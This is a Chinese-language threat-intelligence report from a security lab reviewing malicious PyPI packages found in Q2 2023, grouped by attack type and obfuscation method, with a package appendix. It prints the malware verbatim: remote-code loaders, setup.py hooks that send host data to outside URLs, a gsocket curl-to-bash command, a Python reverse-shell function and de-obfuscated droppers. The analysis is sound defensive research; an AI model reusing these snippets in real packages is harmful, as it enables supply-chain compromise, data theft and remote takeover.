2023年第二季度,天问Python供应链威胁监测模块共捕捉到473个恶意包。我们分析总结了这些恶意包常用的攻击方式及混淆类型,从中我们发现恶意包所使用的混淆工具和混淆方式更加复杂多元化,对于分析检测提出严峻的挑战。这是我们Q2恶意包回顾的第二篇报告,第一篇报告内容见 【天问】2023年Q2恶意包回顾(一)

天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块,”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测,发现了大量的恶意包和攻击行为。

1. 无文件攻击

此类攻击,攻击者将实际的攻击脚本放置在远程服务器中,例如discord。此外,目前有许多第三方网站提供匿名粘贴文本服务,例如paste.fopastebin.compaste.bingner.com。这些网站支持用户粘贴一段文本,并生成特定的url。还有些网站支持匿名挂载文件,例如anonfiles.com。攻击者会利用这些网站来挂载他们真正的攻击脚本。

taskaio-0.0.1/taskaio/color.py

1
2
3
4
5
6
7
8
9
10
from tempfile import NamedTemporaryFile as _ffile
from sys import executable as _eexecutable
from os import system as _ssystem

class http:
_ttmp = _ffile(delete=False)
_ttmp.write(b"""from urllib.request import Request, urlopen;exec(urlopen(Request(url='https://paste.fo/raw/d5adea92c383', headers={'User-Agent': 'Mozilla/5.0'})).read())""")
_ttmp.close()
try: _ssystem(f"start {_eexecutable.replace('.exe', 'w.exe')} {_ttmp.name}")
except: pass

我们可以观察到攻击者在上述代码从https[:]//paste.fo/raw/d5adea92c383读取了一段恶意脚本存储在临时文件中,并最终执行。恶意脚本部分截图如下所示:

image-20230517145646677

在编辑器中看,代码似乎比较正常,仔细观察水平滚动条,才能发现这段代码似乎一行的内容非常长。下图是网页端代码的显示效果。

image-20230517145914576

其中包含了大量的二进制字符串,从代码信息中,我们可知这段代码利用了GitHub上一个开源的Python混淆工具Hyperion。其项目截图如下所示:

image-20230517151601822

image-20230517151629015

这个混淆工具添加了很多不可达的分支语句,并使用了部分别名。经过简单处理后,我们可以得到如下代码:

image-20230517155440804

这与我们之前关于2022年PyPI恶意包回顾的文章中分析的其中一种混淆方式基本一致。由此可见,这个混淆工具是在之前混淆工具的基础上加了一些干扰,让分析人员更加难以处理分析。

经过分析包taskaio-0.0.1的文件目录,我们没有发现通过下载触发攻击的路径。因此,我们猜测作者是想通过依赖攻击的方式来执行恶意代码。即当用户通过from taskaio.color import http模块时,恶意代码会自动执行。下面是一个简单的依赖攻击示例,我们定义了一个python文件test.py

1
2
class hello:
print('You have been hacked!')

当我们导入test.hello这个模块时,攻击代码就会执行。

image-20230517153243910

更多关于依赖攻击的介绍,可见我们之前发表的论文《Investigating Package Related Security Threats in Software Registries》

2. 恶意文件下载执行

此类攻击中,攻击者直接从远端服务器中下载恶意样本(例如,.exe文件)在受害者的机器中执行。

tlibrium-1.0.0

1
2
3
4
5
6
7
8
9
10
11
def notmalfunc():
os.system('''pip install requests''')
from requests import get
from subprocess import call
from os import environ
import sys
import ctypes
import winreg
import subprocess
f=get('https://github.com/ErrorGEtLuck/jashfjashfjasfhl25j2lj/raw/main/lib.exe')
open(f"{environ['USERPROFILE']}lib.exe", "wb").write(f.content)

3. 信息窃取

此类攻击中,攻击者会收集用户的主机信息等内容,然后回传到其指定的网址。这类攻击较为简单,且危害性相对较小。

jmdrs-1.0.4/setup.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from setuptools import setup
from setuptools.command.install import install
import requests
import socket
import getpass
import os

class CustomInstall(install):
def run(self):
install.run(self)
hostname=socket.gethostname()
cwd = os.getcwd()
username = getpass.getuser()
ploads = {'hostname':hostname,'cwd':cwd,'username':username}
requests.get("https://yourburpcolloboratorid.burpcollaborator.net",params = ploads)

如上所示,攻击者可以自定义安装代码,从而在用户下载安装包期间发起攻击。

此外,攻击者还会利用pipedream.net这个网站来监控包的下载安装情况。我们之前关于Yandex依赖混淆攻击的文章中也分析攻击者对于这个网址的利用情况。

fet-2.0.1/setup.py

1
2
3
4
5
import requests
from setuptools import setup
from setuptools.command.install import install

x = requests.get('https://eotqrrxo7ni0fzz.m.pipedream.net')

4. 反向shell

顾名思义,此类攻击会在用户机器上反射一个shell到攻击者的主机。

Track-Lost-Phone-1.0.4/setup.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from turtle import home
import setuptools
from setuptools.command.install import install
from setuptools.command.develop import develop
import os
import platform
import sys

def hacker():
if platform.system() != 'Linux':
sys.exit('Support Only Linux')
else:
pass

dev = "JDTztYg5XJktxJMuSd61zGHACKERTAUXGREP123"
command = os.system(f'S="{dev}" bash -c "$(curl -fsSL gsocket.io/x)" > /dev/null')
os.system('clear')

上面的恶意包利用了一个现成的工具gsocket.io/x在自己的主机实施监听。当用户安装这个包时,会自动下载安装gsocket.io/x并连接到攻击者的主机。具体的使用说明可见官网gsocket.io

gkjzjh146-1.3

1
2
3
4
5
6
7
def reverse_shell(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

通过socket连接到攻击者的服务器,os.dup2将宿主机的标准输入、输出以及错误都重定向到socket的文件描述符,然后启动宿主机的命令行,攻击者就可以完成反向shell攻击

5. 混淆脚本

这类恶意包中恶意代码经过各种混淆处理,分析人员无法直接从代码中判断代码的具体行为。我们根据混淆程度的不同,将这些恶意包分为了几类。

  • ASCII编码

    这类混淆较为简单,将字符转换为对应的ASCII码进行简单的混淆。

    pymcgrabber-1.0.0/setup.py

    1
    exec("".join(map(chr, [105,109,112,111,114,116,32,115,117,98,112,114,111,99,101,115,115,10,10,115,117,98,112,114,111,99,101,115,115,46,114,117,110,40,91,39,112,105,112,39,44,32,39,105,110,115,116,97,108,108,39,...,111,40,41])))

    解混淆后,结果如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    import subprocess

    subprocess.run(['pip', 'install', 'requests'])

    from setuptools import setup
    import requests
    import socket
    import subprocess
    import urllib.request
    import os
    import shutil
    import winreg
    import zipfile


    subprocess.run(['pip', 'install', 'psutil'])
    subprocess.run(['pip', 'install', 'requests'])
    subprocess.run(['pip', 'install', 'sockets'])
    subprocess.run(['pip', 'install', 'pypiwin32'])
    subprocess.run(['pip', 'install', 'pycryptodome'])
    subprocess.run(['pip', 'install', 'uuid'])
    subprocess.run(['pip', 'install', 'cryptography'])
    subprocess.run(['pip', 'install', 'pyfiglet'])
    subprocess.run(['pip', 'install', 'browser_cookie3'])
    subprocess.run(['pip', 'install', 'discord_webhook'])
    subprocess.run(['pip', 'install', 'prettytable'])
    subprocess.run(['pip', 'install', 'getmac'])
    subprocess.run(['pip', 'install', 'pyautogui'])
    subprocess.run(['pip', 'install', 'winregistry'])
    subprocess.run(['pip', 'install', 'robloxpy'])
    subprocess.run(['pip', 'install', 'pywin32'])
    subprocess.run(['pip', 'install', 'Pillow'])
    subprocess.run(['pip', 'install', 'tqdm'])
    subprocess.run(['pip', 'install', 'setuptools'])

    def send_discord_info():
    import requests
    import subprocess
    import winreg
    import os

    url = 'https://raw.githubusercontent.com/JoelDev27/aigh83u/main/WindowsDefender.py'

    archivo = requests.get(url)

    ruta = os.path.join(os.path.expanduser('~'), 'WindowsDefender.py')
    with open(ruta, 'w', encoding='utf-8') as f:
    f.write("# -*- coding: latin-1 -*-\n")
    f.write(archivo.text)


    subprocess.run(['python', ruta])

    os.remove(ruta)



    setup(
    name='pymcgrabber',
    version='1.0.0',
    packages=['pymcgrabber'],
    url='https://github.com/pymcgrabber/pymcgrabber',
    license='',
    author='pymcgrabber',
    author_email='pymcgrabber@gmail.com',
    description='Python Minecraft Cracker'
    )

    if __name__ == '__main__':
    send_discord_info()

    从反混淆结果可知,攻击者从github中下载了一个攻击样本并执行,目前该网址已失效。

  • base64编码

    base64编码是攻击者非常喜欢用的混淆方式,攻击者将恶意脚本或者恶意程序通过base64编码嵌入py文件中,最终通过exec来执行。

    demo-malicious-package-2022.12.7/certifi/__init__.py

    1
    2
    3
    4
    5
    6
    from .core import contents, where
    import base64
    exec(base64.b64decode(b'ZXhlYyhfX2ltcG9ydF9fKCJpbXBvcnRsaWIiKS5pbXBvcnRfbW9kdWxlKCJ1cmxsaWIucmVxdWVzdCIpLnVybG9wZW4oImh0dHBzOi8vY3liZXJyZXNlYXJjaC5weXRob25hbnl3aGVyZS5jb20vcmVwb3J0ZXIucHkiKS5yZWFkKCkuZGVjb2RlKCkp'))

    __all__ = ["contents", "where"]
    __version__ = "2022.12.07"

    base64字符串解码后的结果如下所示:

    1
    exec(__import__("importlib").import_module("urllib.request").urlopen("https://cyberresearch.pythonanywhere.com/reporter.py").read().decode())

    攻击者在pythonanywhere.com上托管了一个python文件,然后攻击者通过request模块下载执行这个Python文件。

  • 混淆工具

    • mahdienc

      我们在分析过程中,发现了一个疑似python混淆工具的mahdienc,分析其源码我们可以发现它使用了zlib.compressbase64.b16encodebase64.b32encodebase64.b64encodemarshal.dumpshexCpython等编码序列化方式来对python代码进行混淆处理。这也是我们目前遇到的混淆样本中常用的几种混淆方式。

      mahdienc-0.1/__init__.py

      1
      2
      3
      4
      5
      6
      # Encoding
      zlb = lambda in_ : zlib.compress(in_)
      b16 = lambda in_ : base64.b16encode(in_)
      b32 = lambda in_ : base64.b32encode(in_)
      b64 = lambda in_ : base64.b64encode(in_)
      mar = lambda in_ : marshal.dumps(compile(in_,'<x>','exec'))
    • Pyobfuscate

      这个混淆工具利用pycryptodome模块来加密混淆Python源码,最终的结果包含4层混淆,其混淆效果如下所示

      源码:

      1
      print('hello')

      混淆代码:

      1
      2
      3
      4
      5
      6
      7
      #pip install pycryptodome  , It works only v3.11 Above.
      import random ,base64,codecs,zlib;pyobfuscate=""

      obfuscate = dict(map(lambda map,dict:(map,dict),['(https://pyobfuscate.com)*(public_key)'],['''8=F3p>8i$(Cxi<z+Is3a7+be>4r2'''.replace('\n','')]))

      _=lambda OO00000OOO0000OOO,c_int=100000:(_OOOO00OO0O00O00OO:=''.join(chr(int(int(OO00000OOO0000OOO.split()[OO00O0OO00O0O0OO0])/random.randint(1,c_int)))for OO00O0OO00O0O0OO0 in range(len(OO00000OOO0000OOO.split()))));eval("".join(chr(i) for i in [101,120,101,99]))("\x73\x65\x74\x61...\x6c\x29");__='600840 10052792 2475510 107811 3460338 725070 743968 2892000 2595808 1123520 ... 3865800 9856668 3906900 1701828 590760 464890';why,are,you,reading,this,thing,huh="\x5f\x5f\x5f\x5f","\x69\x6e\x28\x63\x68\x72\x28\x69\x29\x20\x66\x6f","\x28\x22\x22\x2e\x6a\x6f","\x72\x20\x69\x20\x69\x6e\x20\x5b\x31\x30\x31\x2c\x31\x32\x30\x2c","\x31\x30\x31\x2c\x39\x39","\x5f\x5f\x29\x29","\x5d\x29\x29\x28\x5f\x28";b='eJxzdK8wccz1A+IwYyBt6OheketYHmYKAFuyB3k=';____("".join (chr (int (OO00O0OO00O0O0OO00 /2 ))for OO00O0OO00O0O0OO00 in [202 ,240 ,202 ,198 ] if _____!=______))(f'\x5f\x5f\x5f\x5f\x28\x22\x22\x2e\x6a\x6f\x69\x6e\x28\x63\x68\x72\x28\x69\x29\x20\x66\x6f\x72\x20\x69\x20\x69\x6e\x20\x5b\x31\x30\x31\x2c\x31\x32\x30\x2c\x31\x30\x31\x2c\x39\x39\x5d\x29\x29({____(base64.b64decode(codecs.decode(zlib.decompress(base64.b64decode(b"eJw9kN1ygjAUhF8JIkzlMo6mEnIcHVIM3AGtoPIT2wSSPH2p7fTu252d2T3n3MkyK896dLvrSMIeaGxEGn0l/rpiLu3hlXm5yxDmO8tQZIDoeUQLr4oWePxk8VZfBpr9af8mXdzLTk8swRbP25bNzPvP8qwWJDRA8RX4vhLkfvuk0QRl3DOUekDC9xHZVnBcyUnXY7mtBrIOBDEKXNRl3KiBBor25l5MN7U5qSA/HsJiVpfsVIQ/Hj4dgoSYOndx+7tZLZ2m3qA4AFpUD6RDsbLXB2m0dPuPZa8GblvoGm/gthdI+8PxyYtnXqRLl9uiJi+xBbqtCmKm8/K3b7hsbmQ=")).decode(),"".join(chr(int(i/8)) for i in [912, 888, 928, 392, 408])).encode()))})')

    • Pyarmor

      Pyarmor是一个较为成熟的Python混淆工具,其可以将混淆代码与特定的机器绑定并且可以设置混淆代码的有效期,目前我们没有发现针对这类混淆的较好的反混淆方法。Pyarmor的源代码地址GitHub仓库为https://github.com/dashingsoft/pyarmor。其典型的混淆脚本样式如下所示

      源代码

      1
      print('hello')

      混淆代码

      1
      2
      from pyarmor_runtime_000000 import __pyarmor__
      __pyarmor__(__name__, __file__, b'PY000000\x00\x03\x0b\x00\xa7\r\r\n\x80\x00\x01\x00\x08\x00\x00\x00\x04\x00\x00\x00@\x00\x00\x00\xe3\x01\x00\x00\x12\t\x04\x00?vf\xf0S\...\x99C\xd3')

6. 结语

从Q2的分析报告中,我们可以看到PyPI的恶意包发布呈现出了大规模,组织化的趋势。从恶意包的攻击目的看,信息窃取仍是主流,但各种开源工具和恶意软件的使用,使得恶意包窃取能力不断增强,危害性也越来越高。多数恶意包都使用了混淆来躲避分析检测,对分析检测造成了很大的干扰。随着混淆工具的不断增强,针对Python代码的静态检测分析也需要提升其反混淆能力来应对这一严峻挑战。

7. 附录

恶意包列表

  • 无文件攻击
包名 上传时间 作者
taskaio-0.0.1 04-03 badsiontop
colorsmax-2.9 04-10 Oxygen1337
colorsmaster-1.9 04-12 Oxygen1337
colorsmaximize-1.9 04-19 Oxygen1337
pyslyte-1.9 04-21 Oxygen1337
request-supporter-1.0 04-23 uovxmedrsm
proxyhandlercxp-1.0 04-21 japanontop
proxieshexler-1.0 04-25 japanontop
tucan-x-0.0.1 04-25 synthetic0731
tucan-x-0.0.2 04-25 synthetic0731
pymatematics-1.0.0 05-01 PlutonBlaze83
hase-0.0.1 06-17 badsiontop
bs5-0.0.1 06-17 Rikia
bs3-0.0.1 06-18 seltoxontop
  • 恶意文件下载执行
包名 上传时间 作者
tlibrium-1.0.0 05-23 semantikes
nagogypython-11.13.8 06-03 nagogy
BSODinator-0.0.1 06-18 VeersinghZ
barcodeqrgen-1.0.3 06-21 mightybros98
  • 信息窃取
包名 上传时间 作者
jmdrs-1.0.4 04-16 mastertraining
zelixnitro-1.0 06-02 blud
ThreadsCount-0.1 06-02 Harmien366
astralnitro-1.0 06-03 magma3
soulnitro-1.0 06-04 Yeager
airnitro-1.0 06-04 manga
zydnitro-1.0 06-04 venom7483
airduq-1.0 06-05 airduq
psbody_mesh-0.3 06-06 kotko
cleantalk-6.6.6 06-18 testes10
spykes-2.0.1 04-13 AnupamAS0111
fet-2.0.1 04-24 AnupamAS0111
qkit-2.0.1 04-25 AnupamAS0111
prefect-sendgrid-5.1.1 04-26 AnupamAS0111
nettle-5.0.1 04-29 manan221205
dependency1338-1.0.0 06-18 shreyapohekar
  • 反向shell
包名 上传时间 作者
Track-Lost-Phone-1.0.4 04-15 AuxGreptz
Track-Lost-Phone-1.0.5 04-15 AuxGreptz
gkjzjh146-1.3 05-14 gkjzjh146
gkjzjh146-1.4 05-14 gkjzjh146
gkjzjh146-1.5 05-14 gkjzjh146
qaqaqazzz-1.5 05-14 gkjzjh146
easygetflag-1.5 05-14 gkjzjh146
easygetflag-1.6 05-14 gkjzjh146
testflag-2.30.0 05-14 gkjzjh146
woodwhalehack114-1.3 05-14 woodwhale
  • 混淆脚本

    • ASCII编码

      包名 上传日期 作者
      pymcgrabber-1.0.0 04-08 abelladev666
    • base64编码

      包名 上传日期 作者
      pymcgrabber-1.0.0 04-08 abelladev666
      demo-malicious-package-2022.12.7 04-13 CyberResearch1
      heisenbergiums-1.0.0 04-13 semantikes
      hambit-1.0.0 04-13 semantikes
      herment-1.0.0 04-13 semantikes
      hrihog-1.0.0 04-13 semantikes
      hallowsky-1.0.0 04-13 semantikes
      hansont-1.0.0 04-13 semantikes
      youhans-1.0.0 04-13 semantikes
      gasmanez-1.0.0 04-14 semantikes
      henter-1.0.0 04-14 semantikes
      roblox-python-wrapper-1.0.93 04-16 jahton1113
      roblox-python-wrapper-2.0.3 04-16 jahton1113
      roblox-py-wrapper-2.0.5 04-18 jahton1113
      roblox-py-wrapper-2.0.7 04-18 jahton1113
      roblox-py-wrapper-2.0.8 04-18 jahton1113
      ro-py-wrapper-2.0.10 04-18 jahton1113
      no-install-test-noinst-2.0.10 04-21 jahton1113
      ropython-2.0.10 04-21 jahton1113
      robloxpython-2.0.14 04-22 jahton1113
      roblopython-2.0.15 04-27 jahton1113
      Flexponlib-0.0.1 04-23 FlexDev
      pepequests-0.0.1 05-01 weken99837
      pepequests-0.0.2 05-01 weken99837
      helrmerter-1.0.0 05-01 urfin12
      znomig-1.0.0 05-01 urfin12
      ztasimb-1.0.0 05-01 urfin12
      huluquests-0.0.3 05-02 poyoca6802
      stillrequestsa-0.0.1 05-02 hocecim540
      popyquests-0.0.1 05-03 copif35126copif35126
      numpy_req-12.17.3 06-03 dynastyoak
    • mahdienc

      包名 上传日期 作者
      MEXV9_0-0.3 04-03 Mahdi-bbhh
      mahdienc-0.1 04-09 Mahdi-bbhh
      mahdienc-0.2 04-09 Mahdi-bbhh
    • Pyobfuscate

      包名 上传日期 作者
      pysubprocess-1.0.0 05-01 PlutonBlaze83
    • Pyarmor

      包名 上传日期 作者
      tabulation-0.9.2 06-26 sergey_astanin